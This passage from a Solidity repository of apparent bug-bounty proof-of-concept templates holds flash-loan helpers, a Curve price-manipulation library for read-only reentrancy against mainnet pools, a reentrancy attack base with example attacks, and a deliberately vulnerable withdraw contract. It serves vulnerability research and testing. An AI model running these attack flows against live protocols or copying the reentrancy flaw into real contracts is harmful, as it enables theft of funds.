IUniswapV3Pool(context.uniswapV3Pool).flash( 43 | // Uniswap V3 requires data be non empty for the flash loan callback to be called 44 | address(this), 45 | amount0, 46 | amount1, 47 | "immunefi.flashloan.UniswapV3FlashLoan" 48 | ); 49 | } 50 | 51 | /** 52 | * @dev Allows a user to take a flash loan from UniswapV3Pair for a given Pair and amount 53 | * @param pair The address of the pair contract, use address(0) if pair is unknown 54 | * @param token The address of the token to borrow 55 | * @param amount The amount of the token to borrow 56 | */ 57 | function takeFlashLoan(address pair, address token, uint256 amount) internal { 58 | Context memory context = context(pair, token, amount); 59 | 60 | require(address(context.uniswapV3Pool) != address(0), "UniswapV3Flashloan: Pair contract not found"); 61 | 62 | address token0 = IUniswapV3Pool(context.uniswapV3Pool).token0(); 63 | address token1 = IUniswapV3Pool(context.uniswapV3Pool).token1(); 64 | 65 | uint256 amount0; 66 | uint256 amount1; 67 | 68 | (amount0, amount1) = token0 == context.asset ? (amount, amount1) : (amount0, amount); 69 | 70 | IUniswapV3Pool(context.uniswapV3Pool).flash( 71 | address(this), amount0, amount1, "immunefi.flashloan.UniswapV3FlashLoan" 72 | ); 73 | } 74 | 75 | /** 76 | * @dev Pay back the flash loan to UniswapV3Pair contract 77 | * @param data The data of the flash loan 78 | */ 79 | function payFlashLoan(bytes calldata data) internal { 80 | (uint256 fees0, uint256 fees1, bytes memory params) = unpackData(data); 81 | 82 | address asset; 83 | uint256 amount; 84 | 85 | if (fees1 > 0) { 86 | asset = IUniswapV3Pool(msg.sender).token1(); 87 | amount = calcAmount(fees1); 88 | IERC20(asset).transfer(msg.sender, amount + fees1); 89 | } 90 | if (fees0 > 0) { 91 | asset = IUniswapV3Pool(msg.sender).token0(); 92 | amount = calcAmount(fees0); 93 | IERC20(asset).transfer(msg.sender, amount + fees0); 94 | } 95 | } 96 | 97 | /** 98 | * @dev Helper function which returns the on chain context needed to execute a flashloan 99 | * @param pair The address of pair contract, use address(0) if pair is unkown 100 | * @param token The address of the token to borrow 101 | * @return The context of the flashloan 102 | */ 103 | function context(address pair, address token, uint256 amount) internal view returns (Context memory) { 104 | IUniswapV3Factory uniswapV3Factory; 105 | IUniswapV3Pool uniswapV3Pool; 106 | 107 | address token0; 108 | address token1; 109 | 110 | address WETH; 111 | address USDC; 112 | 113 | address defaultToken; 114 | 115 | if (block.chainid == 1) { 116 | // Ethereum mainnet 117 | WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 118 | USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; 119 | 120 | // By default will search for WETH <-> token pair 121 | // If Flashloan WETH, automatically use WETH <-> USDC pair 122 | defaultToken = token == WETH ? USDC : WETH; 123 | uniswapV3Factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); 124 | } else { 125 | revert("UniswapV3Flashloan: Chain not supported"); 126 | } 127 | if (pair == address(0)) { 128 | (token0, token1) = defaultToken < token ? (defaultToken, token) : (token, defaultToken); 129 | 130 | uniswapV3Pool = IUniswapV3Pool(getPair(uniswapV3Factory, token0, token1, amount, token)); 131 | } else { 132 | uniswapV3Pool = IUniswapV3Pool(pair); 133 | } 134 | 135 | return Context(uniswapV3Pool, token); 136 | } 137 | 138 | /** 139 | * @dev Helper function which decodes the flash loan callback data 140 | * @param data The data of the flash loan 141 | * @return fee0 The fee of the asset 0 142 | * @return fee1 The fee of the asset 1 143 | * @return params Additional params associated with the flash loan 144 | */ 145 | function unpackData(bytes calldata data) internal pure returns (uint256 fee0, uint256 fee1, bytes memory params) { 146 | (fee0, fee1, params) = abi.decode(data[4:], (uint256, uint256, bytes)); 147 | return (fee0, fee1, params); 148 | } 149 | 150 | /** 151 | * @dev Helper function which calculates the amount based on the fees from the callback 152 | * @param fees The fees from the flashloan 153 | * @return amount The flashloan amount 154 | */ 155 | function calcAmount(uint256 fees) internal view returns (uint256 amount) { 156 | uint256 basisPoints = 1e6; 157 | 158 | uint256 fee = uint256(IUniswapV3Pool(msg.sender).fee()); 159 | 160 | amount = (fees * basisPoints) / fee + 1; 161 | return amount; 162 | } 163 | 164 | /** 165 | * @dev Helper function which saved the current fees that was available in the factory 166 | * @return fees a struct of fees that was available in the factory 167 | */ 168 | function getFees() internal pure returns (FeesTickSpacing[] memory) { 169 | FeesTickSpacing[] memory fees = new FeesTickSpacing[](4); 170 | fees[0] = FeesTickSpacing(100, 1); 171 | fees[1] = FeesTickSpacing(500, 10); 172 | fees[2] = FeesTickSpacing(3000, 60); 173 | fees[3] = FeesTickSpacing(10000, 200); 174 | return fees; 175 | } 176 | 177 | /** 178 | * @dev Helper function to search the pair address that was available in the factory contract 179 | * @param factory The address of the factory contract 180 | * @param token0 The address of token0 181 | * @param token1 The address of token1 182 | * @param amount The amount of token 183 | * @param token The address of the flashloaned token 184 | * @return pair The address of the pair contract 185 | */ 186 | function getPair(IUniswapV3Factory factory, address token0, address token1, uint256 amount, address token) 187 | internal 188 | view 189 | returns (address pair) 190 | { 191 | FeesTickSpacing[] memory _fees = getFees(); 192 | 193 | for (uint256 i; i < _fees.length; i++) { 194 | pair = factory.getPool(token0, token1, _fees[i].fee); 195 | if (pair != address(0) && IERC20(token).balanceOf(pair) >= amount) { 196 | return pair; 197 | } 198 | } 199 | revert("UniswapV3Flashloan: Pair not found/amount to big"); 200 | } 201 | } 202 | 203 | interface IUniswapV3Pool { 204 | function flash(address recipient, uint256 amount0Out, uint256 amount1Out, bytes calldata data) external; 205 | function token0() external view returns (address); 206 | function token1() external view returns (address); 207 | function fee() external view returns (uint24); 208 | } 209 | 210 | interface IUniswapV3Factory { 211 | function getPool(address token0, address token1, uint24 fee) external view returns (address); 212 | } 213 | -------------------------------------------------------------------------------- /src/pricemanipulation/PriceManipulation.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../reentrancy/Reentrancy.sol"; 4 | import "./PriceManipulationProvider.sol"; 5 | 6 | import "forge-std/console.sol"; 7 | 8 | abstract contract PriceManipulation is Reentrancy { 9 | using PriceManipulationProvider for PriceManipulationProviders; 10 | 11 | /** 12 | * @dev Price oracle provider call stack 13 | */ 14 | PriceManipulationProviders[] internal _pmps; 15 | 16 | /** 17 | * @dev Manipulates the price of a given token pair by calling the manipulatePrice function on a PriceManipulationProviders contract. 18 | * @param pmp The PriceManipulationProviders contract instance. 19 | * @param token0 The address of the first token to manipulate. 20 | * @param token1 The address of the second token to manipulate. 21 | * @param amount0 The amount of the first token. 22 | * @param amount1 The amount of the second token. 23 | */ 24 | function manipulatePrice( 25 | PriceManipulationProviders pmp, 26 | address token0, 27 | address token1, 28 | uint256 amount0, 29 | uint256 amount1 30 | ) internal virtual { 31 | manipulatePrice(pmp, IERC20(token0), IERC20(token1), amount0, amount1); 32 | } 33 | 34 | /** 35 | * @dev Manipulates the price of a given token pair by calling the manipulatePrice function on a PriceManipulationProviders contract. 36 | * @param pmp The PriceManipulationProviders contract instance. 37 | * @param token0 The IERC20 contract instance of the first token to manipulate. 38 | * @param token1 The IERC20 contract instance of the second token to manipulate. 39 | * @param amount0 The amount of the first token. 40 | * @param amount1 The amount of the second token. 41 | */ 42 | function manipulatePrice( 43 | PriceManipulationProviders pmp, 44 | IERC20 token0, 45 | IERC20 token1, 46 | uint256 amount0, 47 | uint256 amount1 48 | ) internal virtual { 49 | _pmps.push(pmp); 50 | pmp.manipulatePrice(token0, token1, amount0, amount1); 51 | _pmps.pop(); 52 | } 53 | 54 | /** 55 | * @dev Returns the top most provider from the call stack 56 | * @return pmp The current flash loan provider context 57 | */ 58 | function currentPriceOracleProvider() internal view returns (PriceManipulationProviders pmp) { 59 | if (_pmps.length > 0) { 60 | return _pmps[_pmps.length - 1]; 61 | } 62 | return PriceManipulationProviders.NONE; 63 | } 64 | 65 | /** 66 | * @dev Executes the attack logic for the price manipulation 67 | */ 68 | function _executeAttack() internal virtual override; 69 | 70 | /** 71 | * @dev Completes the attack logic 72 | */ 73 | function _completeAttack() internal virtual override; 74 | 75 | /** 76 | * @dev Function run when target contract makes external call back to attack contract 77 | */ 78 | function _reentrancyCallback() internal virtual override { 79 | if (_pmps.length > 0) { 80 | PriceManipulationProviders pmp = currentPriceOracleProvider(); 81 | if (pmp.callbackFunctionSelector() == "" || pmp.callbackFunctionSelector() == bytes4(msg.data[:4])) { 82 | _executeAttack(); 83 | bytes memory returnData = pmp.returnData(); 84 | assembly { 85 | let len := mload(returnData) 86 | return(add(returnData, 0x20), len) 87 | } 88 | } 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/pricemanipulation/PriceManipulationProvider.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../tokens/Tokens.sol"; 4 | import {CurvePriceManipulation} from "./lib/CurvePriceManipulation.sol"; 5 | 6 | enum PriceManipulationProviders { 7 | NONE, 8 | CURVE 9 | } 10 | 11 | library PriceManipulationProvider { 12 | /** 13 | * @dev Function to manipulate price using different price manipulation providers. 14 | * @param pmp The price manipulation provider to use. ex: CURVE. 15 | * @param token0 First token involved in the price manipulation. 16 | * @param token1 Second token involved in the price manipulation. 17 | * @param amount0 Amount of token0 involved in the price manipulation. 18 | * @param amount1 Amount of token1 involved in the price manipulation. 19 | */ 20 | function manipulatePrice( 21 | PriceManipulationProviders pmp, 22 | IERC20 token0, 23 | IERC20 token1, 24 | uint256 amount0, 25 | uint256 amount1 26 | ) internal { 27 | if (pmp == PriceManipulationProviders.CURVE) { 28 | CurvePriceManipulation.manipulatePoolPrice(token0, token1, amount0, amount1); 29 | } else { 30 | revert("PriceManipulationProvider: Provider doesn't support single token flash loans"); 31 | } 32 | } 33 | 34 | /** 35 | * @dev Gets the bytes4 function selector for the intended callback 36 | * @param pmp The price oracle provider to get the callback selector of 37 | * @return The bytes4 function selector for the intended callback. 38 | */ 39 | function callbackFunctionSelector(PriceManipulationProviders pmp) internal pure returns (bytes4) { 40 | // if (pmp == PriceManipulationProviders.CURVE) { 41 | // return CurvePriceManipulation.CALLBACK_SELECTOR; 42 | // } 43 | } 44 | 45 | /** 46 | * @dev Gets the bytes32 return data for the intended callback 47 | * @param pmp The price oracle provider to get the return data of 48 | * @return The bytes32 return data for the intended callback. 49 | */ 50 | function returnData(PriceManipulationProviders pmp) internal pure returns (bytes memory) { 51 | // if (pmp == PriceManipulationProviders.CURVE) { 52 | // return CurvePriceManipulation.RETURN_DATA; 53 | // } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/pricemanipulation/README.md: -------------------------------------------------------------------------------- 1 | ## Vulnerability Type 2 | This template is for getting started with attack PoCs which use price manipulation on weak or potentially unsafely integrated oracles. The price manipulation template support manipulation of the following price oracles. 3 | 4 |
5 | 6 | 7 | ### Ethereum 8 | 9 | 10 | | Network | Protocol | Library | 11 | | ---------- | -------- | ------------------------------------------------------- | 12 | | Ethereum | Curve | [Curve](./lib/CurvePriceManipulation.sol) | 13 | 14 |
15 | 16 | ## Usage 17 | The following attack contract demonstrate simple flash loan usage. 18 | * [PriceManipulationExample](./examples/PriceManipulationExample.sol) 19 | 20 | 21 | Extend the PriceManipulation contract and implement the following functions: 22 | ```Solidity 23 | contract Attack is PriceManipulation { 24 | function initiateAttack() external { } 25 | function _executeAttack() internal override { } 26 | function _completeAttack() internal override { } 27 | } 28 | ``` 29 | Call `manipulatePrice(PriceManipulationProviders pmp, IERC20 token0, IERC20 token1, uint256 amount0, uint256 amount1)` in `initiateAttack()` to trigger your attack. The underlying function will call `_executeAttack()` during the manipulated price. -------------------------------------------------------------------------------- /src/pricemanipulation/examples/PriceManipulationExample.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../PriceManipulation.sol"; 4 | import "../../tokens/Tokens.sol"; 5 | import "../../flashloan/FlashLoan.sol"; 6 | 7 | import "forge-std/console.sol"; 8 | import "forge-std/Test.sol"; 9 | 10 | contract PriceManipulationExample is PriceManipulation, FlashLoan, Tokens { 11 | using FlashLoanProvider for FlashLoanProviders; 12 | using PriceManipulationProvider for PriceManipulationProviders; 13 | 14 | // stETH / ETH Curve pool 15 | ICurvePool curvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022); 16 | 17 | function initiateAttack() external { 18 | console.log("---------------------------------------------------------------------------"); 19 | console.log("Curve Virtual Price BEFORE:", curvePool.get_virtual_price()); 20 | // Deal ether to cover fees and losses 21 | deal(EthereumTokens.WETH, address(this), 22.3 ether); 22 | deal(EthereumTokens.NATIVE_ASSET, address(this), 3.5 ether); 23 | takeFlashLoan(FlashLoanProviders.AAVEV3, EthereumTokens.WETH, 50000e18); 24 | } 25 | 26 | function _executeAttack() internal override(PriceManipulation, FlashLoan) { 27 | if (currentFlashLoanProvider() == FlashLoanProviders.BALANCER) { 28 | // Unwrap flash loaned wstETH to manipulate Curve pool 29 | console.log("---------------------------------------------------------------------------"); 30 | IWrapped(address(EthereumTokens.wstETH)).unwrap(50000e18); 31 | console.log("ETH :", address(this).balance); 32 | console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this))); 33 | 34 | manipulatePrice( 35 | PriceManipulationProviders.CURVE, EthereumTokens.ETH, EthereumTokens.stETH, 50000e18, 50000e18 36 | ); 37 | 38 | console.log("---------------------------------------------------------------------------"); 39 | console.log("Pay back stETH flash loan"); 40 | console.log("ETH :", address(this).balance); 41 | console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this))); 42 | // Wrap stETH to pay back flash loan 43 | EthereumTokens.stETH.approve(address(EthereumTokens.wstETH), type(uint256).max); 44 | IWrapped(address(EthereumTokens.wstETH)).wrap(EthereumTokens.stETH.balanceOf(address(this))); 45 | } else if (currentFlashLoanProvider() == FlashLoanProviders.AAVEV3) { 46 | // Unwrap ether to use in price manipulation 47 | IWrappedEther(address(EthereumTokens.WETH)).withdraw(50000e18); 48 | 49 | // Borrow wstETH 50 | takeFlashLoan(FlashLoanProviders.BALANCER, EthereumTokens.wstETH, 50000e18); 51 | 52 | // Unrawp wstETH and swap stETH to Ether to pay back AAVEV3 loan 53 | IWrapped(address(EthereumTokens.wstETH)).unwrap(EthereumTokens.wstETH.balanceOf(address(this))); 54 | EthereumTokens.stETH.approve(address(curvePool), type(uint256).max); 55 | curvePool.exchange(1, 0, EthereumTokens.stETH.balanceOf(address(this)), 0); 56 | 57 | // Wrap Ether to pay back AAVEV3 loan 58 | IWrappedEther(address(EthereumTokens.WETH)).deposit{value: address(this).balance}(); 59 | console.log("---------------------------------------------------------------------------"); 60 | console.log("Pay back WETH flash loan"); 61 | console.log("ETH :", address(this).balance); 62 | console.log("WETH :", EthereumTokens.WETH.balanceOf(address(this))); 63 | console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this))); 64 | console.log("wstETH:", EthereumTokens.wstETH.balanceOf(address(this))); 65 | } 66 | } 67 | 68 | function _completeAttack() internal override(PriceManipulation, FlashLoan) { 69 | console.log("---------------------------------------------------------------------------"); 70 | console.log("Curve Virtual Price AFTER:", curvePool.get_virtual_price()); 71 | console.log("ETH :", address(this).balance); 72 | console.log("WETH :", EthereumTokens.WETH.balanceOf(address(this))); 73 | console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this))); 74 | console.log("wstETH:", EthereumTokens.wstETH.balanceOf(address(this))); 75 | } 76 | 77 | receive() external payable override { 78 | if (currentPriceOracleProvider() == PriceManipulationProviders.CURVE) { 79 | // Execute read only reentrancy 80 | // Caller should be curve pool 81 | console.log("---------------------------------------------------------------------------"); 82 | console.log("Curve Virtual Price DURING:", curvePool.get_virtual_price()); 83 | console.log("ETH :", address(this).balance); 84 | console.log("stETH :", EthereumTokens.stETH.balanceOf(address(this))); 85 | console.log("Execute price manipulation attack HERE"); 86 | // TODO: Add exploit logic 87 | } 88 | } 89 | 90 | fallback() external payable override(FlashLoan, Reentrancy) { 91 | FlashLoan._fallback(); 92 | } 93 | } 94 | 95 | interface ICurvePool { 96 | function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256); 97 | function add_liquidity(uint256[2] calldata amounts, uint256 minMintAmount) external payable returns (uint256); 98 | function remove_liquidity(uint256 amount, uint256[2] memory minAmounts) external returns (uint256); 99 | function remove_liquidity_imbalance(uint256[2] memory amounts, uint256 maxBurnAmount) external returns (uint256); 100 | function balances(uint256 i) external view returns (uint256); 101 | function lp_token() external view returns (address); 102 | function get_virtual_price() external view returns (uint256); 103 | } 104 | 105 | interface IWrapped { 106 | function wrap(uint256) external; 107 | function unwrap(uint256) external; 108 | } 109 | 110 | interface IWrappedEther { 111 | function deposit() external payable; 112 | function withdraw(uint256) external; 113 | } 114 | 115 | interface UniswapV2Router02 { 116 | function factory() external pure returns (address); 117 | function WETH() external pure returns (address); 118 | function swapExactTokensForETH( 119 | uint256 amountIn, 120 | uint256 amountOutMin, 121 | address[] calldata path, 122 | address to, 123 | uint256 deadline 124 | ) external returns (uint256[] memory amounts); 125 | function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) 126 | external 127 | pure 128 | returns (uint256 amountOut); 129 | function getAmountIn(uint256 amountOut, uint256 reserveIn, uint256 reserveOut) 130 | external 131 | pure 132 | returns (uint256 amountIn); 133 | function getAmountsOut(uint256 amountIn, address[] calldata path) 134 | external 135 | view 136 | returns (uint256[] memory amounts); 137 | function getAmountsIn(uint256 amountOut, address[] calldata path) 138 | external 139 | view 140 | returns (uint256[] memory amounts); 141 | } 142 | -------------------------------------------------------------------------------- /src/pricemanipulation/lib/CurvePriceManipulation.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "../../tokens/Tokens.sol"; 4 | 5 | /** 6 | * Vulnerabilities stemming from Curve pool get_virtual_price manipulation can only occur 7 | * in pools where the underlying asset is ETH, or the underlying asset is a token which 8 | * makes a callback to the receiver on transfers 9 | */ 10 | library CurvePriceManipulation { 11 | struct Context { 12 | ICurvePoolRegistry poolRegistry; 13 | } 14 | 15 | /** 16 | * @dev Manipulates the price in a Curve pool by adding and removing liquidity. 17 | * @param token0 Address of the first token in the pool. 18 | * @param token1 Address of the second token in the pool. 19 | * @param amount0 The amount of token0 to add to the pool. 20 | * @param amount1 The amount of token1 to add to the pool. 21 | */ 22 | function manipulatePoolPrice(IERC20 token0, IERC20 token1, uint256 amount0, uint256 amount1) internal { 23 | Context memory context = context(); 24 | 25 | ICurvePool curvePool = ICurvePool(context.poolRegistry.find_pool_for_coins(address(token0), address(token1))); 26 | 27 | uint256[2] memory amounts; 28 | amounts[0] = amount0; 29 | amounts[1] = amount1; 30 | 31 | if (token0 != EthereumTokens.ETH) { 32 | token0.approve(address(curvePool), 0); 33 | token0.approve(address(curvePool), type(uint256).max); 34 | } 35 | token1.approve(address(curvePool), 0); 36 | token1.approve(address(curvePool), type(uint256).max); 37 | 38 | curvePool.add_liquidity{value: token0 == EthereumTokens.ETH ? amount0 : 0}(amounts, 0); 39 | 40 | IERC20 lp_token = IERC20(curvePool.lp_token()); 41 | 42 | amounts[0] = lp_token.balanceOf(address(this)) * curvePool.balances(0) / lp_token.totalSupply(); 43 | amounts[1] = lp_token.balanceOf(address(this)) * curvePool.balances(1) / lp_token.totalSupply(); 44 | 45 | // Trigger callback 46 | curvePool.remove_liquidity_imbalance(amounts, type(uint256).max); 47 | } 48 | 49 | /** 50 | * @dev Returns the context information for the curve pool registry. 51 | * @return Context The context information. 52 | */ 53 | function context() internal view returns (Context memory) { 54 | ICurvePoolRegistry poolRegistry; 55 | if (block.chainid == 1) { 56 | // Ethereum mainnet 57 | poolRegistry = ICurvePoolRegistry(0x90E00ACe148ca3b23Ac1bC8C240C2a7Dd9c2d7f5); 58 | } else { 59 | revert("CurvePriceManipulation: Chain not supported"); 60 | } 61 | 62 | return Context(poolRegistry); 63 | } 64 | } 65 | 66 | interface ICurvePoolRegistry { 67 | function find_pool_for_coins(address token0, address token1) external view returns (address); 68 | } 69 | 70 | interface ICurvePool { 71 | function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256); 72 | function add_liquidity(uint256[2] calldata amounts, uint256 minMintAmount) external payable returns (uint256); 73 | function remove_liquidity(uint256 amount, uint256[2] memory minAmounts) external returns (uint256); 74 | function remove_liquidity_imbalance(uint256[2] memory amounts, uint256 maxBurnAmount) external returns (uint256); 75 | function balances(uint256 i) external view returns (uint256); 76 | function lp_token() external view returns (address); 77 | function get_virtual_price() external view returns (uint256); 78 | } 79 | -------------------------------------------------------------------------------- /src/reentrancy/README.md: -------------------------------------------------------------------------------- 1 | ## Vulnerability Type 2 | This template is for getting started with reentrancy attack PoCs. The reentrancy template implements the callbacks for the following tokens to support reentrancy attacks: 3 | * `onTokenTransfer(address, uint256, bytes)` 4 | * `onTransferReceived(address, address, uint256, bytes)` 5 | * `tokensReceived(address, address, address, bytes, bytes)` 6 | * `onERC1155Received(address, address, uint256, uint256, bytes)` 7 | * `onERC1155BatchReceived(address, address, uint256[], uint256[], bytes)` 8 | * `onERC721Received(address, address, uint256, bytes)` 9 | * `fallback()` 10 | * `receive()` 11 | 12 | ## Usage 13 | The following attack contract demonstrate a simple reentrancy attack on a improper implementation of a deposit and withdraw contract. 14 | * [ReentrancyExampleAttack](./examples/ReentrancyExampleAttack.sol) 15 | 16 | 17 | Extend the Reentrancy contract and implement the following functions: 18 | ```Solidity 19 | contract Attack is Reentrancy { 20 | function initiateAttack() external { } 21 | function _executeAttack() internal override { } 22 | function _completeAttack() internal override { } 23 | } 24 | ``` 25 | 26 | The `_reentrancyCallback` function in the Reentrancy template handles the callback from the vulnerable contract. Override this function to change the behavior of reentering multiple times. 27 | ```Solidity 28 | /** 29 | * @dev Function run when target contract makes external call back to attack contract 30 | */ 31 | function _reentrancyCallback() incrementState internal virtual { 32 | console.log("Begin reentrancy stage %s", uint(reentrancyStage)); 33 | if(reentrancyStage == State.ATTACK) { 34 | // Execute attack 35 | console.log("Execute attack"); 36 | _executeAttack(); 37 | } else if(reentrancyStage == State.POST_ATTACK) { 38 | // Already ran the attack once 39 | console.log("Attack completed successfully"); 40 | _completeAttack(); 41 | } else { 42 | // No state defined 43 | } 44 | } 45 | ``` 46 | -------------------------------------------------------------------------------- /src/reentrancy/Reentrancy.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "forge-std/console.sol"; 4 | 5 | abstract contract Reentrancy { 6 | enum State { 7 | PRE_ATTACK, 8 | ATTACK, 9 | POST_ATTACK 10 | } 11 | 12 | State reentrancyStage; 13 | 14 | /** 15 | * @dev Function run the first time the callback is entered 16 | */ 17 | function _executeAttack() internal virtual; 18 | 19 | /** 20 | * @dev Function run after the attack is executed 21 | */ 22 | function _completeAttack() internal virtual; 23 | 24 | /** 25 | * @dev Function run when target contract makes external call back to attack contract 26 | */ 27 | function _reentrancyCallback() internal virtual { 28 | console.log(">>> Execute attack"); 29 | _executeAttack(); 30 | } 31 | 32 | /** 33 | * @dev Handles the receipt of ERC677 token type. 34 | */ 35 | function onTokenTransfer(address, uint256, bytes memory) external returns (bool) { 36 | _reentrancyCallback(); 37 | return true; 38 | } 39 | 40 | /** 41 | * @dev Handles the receipt of ERC1363 token type. 42 | */ 43 | function onTransferReceived(address, address, uint256, bytes memory) external returns (bytes4) { 44 | _reentrancyCallback(); 45 | return this.onTransferReceived.selector; 46 | } 47 | 48 | /** 49 | * @dev Handles the receipt of a single ERC1155 token type. This function is 50 | * called at the end of a `safeTransferFrom` after the balance has been updated. 51 | */ 52 | function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) { 53 | _reentrancyCallback(); 54 | return this.onERC1155Received.selector; 55 | } 56 | 57 | /** 58 | * @dev Handles the receipt of a multiple ERC1155 token types. This function 59 | * is called at the end of a `safeBatchTransferFrom` after the balances have 60 | * been updated. 61 | */ 62 | function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) 63 | external 64 | returns (bytes4) 65 | { 66 | _reentrancyCallback(); 67 | return this.onERC1155BatchReceived.selector; 68 | } 69 | 70 | /** 71 | * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} 72 | * by `operator` from `from`, this function is called. 73 | */ 74 | function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) { 75 | _reentrancyCallback(); 76 | return this.onERC721Received.selector; 77 | } 78 | 79 | /** 80 | * @dev Fallback function called when no other functions match the function signature 81 | */ 82 | fallback() external payable virtual { 83 | _reentrancyCallback(); 84 | } 85 | 86 | /** 87 | * @dev Function called when native asset is sent with no calldata 88 | */ 89 | receive() external payable virtual { 90 | _reentrancyCallback(); 91 | } 92 | 93 | /** 94 | * @dev We need to implement this function to tell contracts we support their callback interface 95 | * @return true Always returns true 96 | */ 97 | function supportsInterface(bytes4) public pure returns (bool) { 98 | return true; 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /src/reentrancy/examples/ReentrancyExampleAttack.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | import "../Reentrancy.sol"; 4 | 5 | import "forge-std/console.sol"; 6 | 7 | contract ReentrancyExampleAttack is Reentrancy { 8 | // The victim to perform reentrancy attack on 9 | address target; 10 | 11 | /** 12 | * @param victim The address of the contract to perform reentrancy on 13 | */ 14 | constructor(address victim) { 15 | target = victim; 16 | } 17 | 18 | /** 19 | * @dev Initiates the reentrancy attack. Make any calls to the target contract, and continue reentrancy attack in the below callback function 20 | */ 21 | function initiateAttack() external { 22 | // Initiate call to the target contract 23 | // Interface(target).someFunction(); 24 | console.log("Initiating attack on %s", target); 25 | console.log("Attacker balance before %s", address(this).balance); 26 | 27 | // TODO: Modify the attack here to initiate reentrancy in your victim 28 | target.call{value: 1 ether}(abi.encodeWithSelector(bytes4(keccak256("deposit()")))); 29 | target.call(abi.encodeWithSelector(bytes4(keccak256("withdraw()")))); 30 | } 31 | 32 | /** 33 | * @dev Function run the first time the callback is entered 34 | * @dev msg.sender will be the victim contract 35 | * @dev msg.sig can be used to identify which callback triggered the reentrancy eg. msg.sig == this.onTokenTransfer.selector 36 | */ 37 | function _executeAttack() internal override { 38 | // TODO: Modify the attack here 39 | if (target.balance >= 1 ether) { 40 | target.call(abi.encodeWithSelector(bytes4(keccak256("withdraw()")))); 41 | } 42 | } 43 | 44 | /** 45 | * @dev Function run after the attack is executed 46 | */ 47 | function _completeAttack() internal override { 48 | console.log("Attacker balance after %s", address(this).balance); 49 | 50 | // TODO: Modify the attack cleanup here 51 | } 52 | 53 | /** 54 | * @dev Function run when target contract makes external call back to attack contract 55 | */ 56 | function _reentrancyCallback() internal override incrementState { 57 | console.log(">>> Begin reentrancy stage %s", uint256(reentrancyStage)); 58 | if (reentrancyStage == State.ATTACK) { 59 | // Execute attack 60 | console.log(">>> Execute attack"); 61 | _executeAttack(); 62 | } else if (reentrancyStage == State.POST_ATTACK) { 63 | // Already ran the attack once 64 | console.log(">>> Attack completed successfully"); 65 | _completeAttack(); 66 | } else { 67 | // No state defined 68 | } 69 | } 70 | 71 | modifier incrementState() { 72 | reentrancyStage = State(uint256(reentrancyStage) + 1); 73 | _; 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /src/reentrancy/examples/ReentrancyExampleVictim.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.13; 2 | 3 | contract ReentrancyExampleVictim { 4 | mapping(address => uint256) balance; 5 | 6 | function deposit() external payable { 7 | balance[msg.sender] += msg.value; 8 | } 9 | 10 | function withdraw() external { 11 | (bool success,) = msg.sender.call{value: balance[msg.sender]}(""); 12 | require(success, "ETH transfer failed"); 13 | balance[msg.sender] = 0; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/tokens/README.md: -------------------------------------------------------------------------------- 1 | ## Vulnerability Type 2 | This template is for getting started with manipulating token balances. The token template wraps the forge `deal` cheatcode to allow `IERC20` objects to be passed. The following tokens from EVM based chains are included: 3 | 4 |
5 | 6 | 7 | ### Ethereum 8 | 9 | 10 | | Network | Token | Address | 11 | | ---------- | -------- | ------------------------------------------------------- | 12 | | Ethereum | USDT | [0xdAC17F958D2ee523a2206206994597C13D831ec7](https://etherscan.io/address/0xdAC17F958D2ee523a2206206994597C13D831ec7) | 13 | | Ethereum | BNB | [0xB8c77482e45F1F44dE1745F52C74426C631bDD52](https://etherscan.io/address/0xB8c77482e45F1F44dE1745F52C74426C631bDD52) | 14 | | Ethereum | USDC | [0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48](https://etherscan.io/address/0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48) | 15 | | Ethereum | BUSD | [0x4Fabb145d64652a948d72533023f6E7A623C7C53](https://etherscan.io/address/0x4Fabb145d64652a948d72533023f6E7A623C7C53) | 16 | | Ethereum | MATIC | [0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0](https://etherscan.io/address/0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0) | 17 | | Ethereum | OKB | [0x75231F58b43240C9718Dd58B4967c5114342a86c](https://etherscan.io/address/0x75231F58b43240C9718Dd58B4967c5114342a86c) | 18 | | Ethereum | stETH | [0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84](https://etherscan.io/address/0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84) | 19 | | Ethereum | anyLTC | [0x0aBCFbfA8e3Fda8B7FBA18721Caf7d5cf55cF5f5](https://etherscan.io/address/0x0aBCFbfA8e3Fda8B7FBA18721Caf7d5cf55cF5f5) | 20 | | Ethereum | THETA | [0x3883f5e181fccaF8410FA61e12b59BAd963fb645](https://etherscan.io/address/0x3883f5e181fccaF8410FA61e12b59BAd963fb645) | 21 | | Ethereum | SHIB | 